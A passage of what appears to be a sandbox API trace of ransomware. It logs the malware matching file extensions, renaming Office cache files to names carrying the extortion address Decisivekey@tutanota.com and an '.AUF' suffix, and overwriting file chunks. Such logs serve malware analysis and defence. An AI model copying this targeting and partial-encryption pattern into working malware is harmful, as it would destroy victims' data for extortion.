(lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0211.034] lstrlenW (lpString=".jpg") returned 4 [0211.034] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0211.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0211.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0211.034] lstrlenW (lpString=".doc") returned 4 [0211.034] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0211.034] lstrlenW (lpString=".docx") returned 5 [0211.034] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0211.034] lstrlenW (lpString=".pdf") returned 4 [0211.034] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0211.034] lstrlenW (lpString=".xls") returned 4 [0211.034] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0211.034] lstrlenW (lpString=".xlsx") returned 5 [0211.034] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0211.034] lstrlenW (lpString=".ppt") returned 4 [0211.034] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0211.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0211.034] lstrlenW (lpString=".zip") returned 4 [0211.034] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0211.034] lstrlenW (lpString=".rar") returned 4 [0211.034] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0211.035] lstrlenW (lpString=".bz2") returned 4 [0211.035] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0211.035] lstrlenW (lpString=".7z") returned 3 [0211.035] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0211.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0211.035] lstrlenW (lpString=".dbf") returned 4 [0211.035] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0211.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0211.035] lstrlenW (lpString=".1cd") returned 4 [0211.035] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0211.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0211.035] lstrlenW (lpString=".jpg") returned 4 [0211.035] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0211.035] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0211.035] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0211.035] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0211.035] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=3124224) returned 1 [0211.035] CloseHandle (hObject=0x1d8) returned 1 [0211.035] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0211.035] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.035] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0211.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0211.036] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0211.036] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.036] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.074] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.074] ReadFile (in: hFile=0x1d8, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.093] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0211.093] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.094] ReadFile (in: hFile=0x1d8, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.269] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.269] WriteFile (in: hFile=0x1d8, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0211.282] SetEndOfFile (hFile=0x1d8) returned 1 [0211.282] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.282] WriteFile (in: hFile=0x1d8, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.283] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.283] WriteFile (in: hFile=0x1d8, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.287] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.287] WriteFile (in: hFile=0x1d8, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.289] CloseHandle (hObject=0x1d8) returned 1 [0211.289] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0211.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.289] lstrlenW (lpString=".doc") returned 4 [0211.289] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0211.289] lstrlenW (lpString=".docx") returned 5 [0211.289] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0211.289] lstrlenW (lpString=".pdf") returned 4 [0211.289] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0211.289] lstrlenW (lpString=".xls") returned 4 [0211.289] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0211.289] lstrlenW (lpString=".xlsx") returned 5 [0211.289] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0211.289] lstrlenW (lpString=".ppt") returned 4 [0211.289] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0211.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.289] lstrlenW (lpString=".zip") returned 4 [0211.289] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0211.289] lstrlenW (lpString=".rar") returned 4 [0211.289] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0211.289] lstrlenW (lpString=".bz2") returned 4 [0211.290] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0211.290] lstrlenW (lpString=".7z") returned 3 [0211.290] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0211.290] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.290] lstrlenW (lpString=".dbf") returned 4 [0211.290] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0211.290] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.290] lstrlenW (lpString=".1cd") returned 4 [0211.290] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0211.290] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.290] lstrlenW (lpString=".jpg") returned 4 [0211.290] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0211.290] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.290] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.290] lstrlenW (lpString=".doc") returned 4 [0211.290] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0211.290] lstrlenW (lpString=".docx") returned 5 [0211.290] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0211.290] lstrlenW (lpString=".pdf") returned 4 [0211.290] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0211.290] lstrlenW (lpString=".xls") returned 4 [0211.290] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0211.290] lstrlenW (lpString=".xlsx") returned 5 [0211.290] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0211.290] lstrlenW (lpString=".ppt") returned 4 [0211.290] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0211.290] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.290] lstrlenW (lpString=".zip") returned 4 [0211.290] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0211.290] lstrlenW (lpString=".rar") returned 4 [0211.290] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0211.290] lstrlenW (lpString=".bz2") returned 4 [0211.290] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0211.290] lstrlenW (lpString=".7z") returned 3 [0211.290] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0211.290] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.290] lstrlenW (lpString=".dbf") returned 4 [0211.290] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0211.290] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.290] lstrlenW (lpString=".1cd") returned 4 [0211.290] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0211.290] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.290] lstrlenW (lpString=".jpg") returned 4 [0211.290] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0211.291] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0211.291] lstrlenW (lpString="VisioLR.cab") returned 11 [0211.291] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0211.291] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=50823389) returned 1 [0211.291] CloseHandle (hObject=0x1d8) returned 1 [0211.291] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0211.291] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.291] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0211.293] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0211.293] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0211.293] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.293] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.641] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.641] ReadFile (in: hFile=0x1d8, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.662] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0211.662] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0211.662] ReadFile (in: hFile=0x1d8, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.683] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.683] WriteFile (in: hFile=0x1d8, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0211.696] SetEndOfFile (hFile=0x1d8) returned 1 [0211.696] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.696] WriteFile (in: hFile=0x1d8, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.697] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.697] WriteFile (in: hFile=0x1d8, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.697] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0211.697] WriteFile (in: hFile=0x1d8, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.699] CloseHandle (hObject=0x1d8) returned 1 [0211.699] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0211.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0211.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0211.699] lstrlenW (lpString=".doc") returned 4 [0211.699] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0211.699] lstrlenW (lpString=".docx") returned 5 [0211.699] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0211.699] lstrlenW (lpString=".pdf") returned 4 [0211.699] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0211.699] lstrlenW (lpString=".xls") returned 4 [0211.699] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0211.699] lstrlenW (lpString=".xlsx") returned 5 [0211.699] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0211.699] lstrlenW (lpString=".ppt") returned 4 [0211.699] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0211.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0211.699] lstrlenW (lpString=".zip") returned 4 [0211.699] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0211.700] lstrlenW (lpString=".rar") returned 4 [0211.700] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0211.700] lstrlenW (lpString=".bz2") returned 4 [0211.700] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0211.700] lstrlenW (lpString=".7z") returned 3 [0211.700] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0211.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0211.700] lstrlenW (lpString=".dbf") returned 4 [0211.700] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0211.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0211.700] lstrlenW (lpString=".1cd") returned 4 [0211.700] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0211.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0211.700] lstrlenW (lpString=".jpg") returned 4 [0211.700] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0211.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0211.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0211.700] lstrlenW (lpString=".doc") returned 4 [0211.700] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0211.700] lstrlenW (lpString=".docx") returned 5 [0211.700] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0211.700] lstrlenW (lpString=".pdf") returned 4 [0211.700] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0211.700] lstrlenW (lpString=".xls") returned 4 [0211.700] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0211.700] lstrlenW (lpString=".xlsx") returned 5 [0211.700] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0211.700] lstrlenW (lpString=".ppt") returned 4 [0211.700] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0211.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0211.700] lstrlenW (lpString=".zip") returned 4 [0211.700] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0211.700] lstrlenW (lpString=".rar") returned 4 [0211.700] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0211.700] lstrlenW (lpString=".bz2") returned 4 [0211.700] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0211.700] lstrlenW (lpString=".7z") returned 3 [0211.700] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0211.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0211.700] lstrlenW (lpString=".dbf") returned 4 [0211.700] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0211.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0211.700] lstrlenW (lpString=".1cd") returned 4 [0211.700] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0211.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0211.700] lstrlenW (lpString=".jpg") returned 4 [0211.700] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0211.701] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0211.701] lstrlenW (lpString="ProjLR.cab") returned 10 [0211.701] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0211.997] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=8265165) returned 1 [0211.997] CloseHandle (hObject=0x208) returned 1 [0211.997] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0211.998] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.998] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0211.998] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0211.998] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0211.998] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | 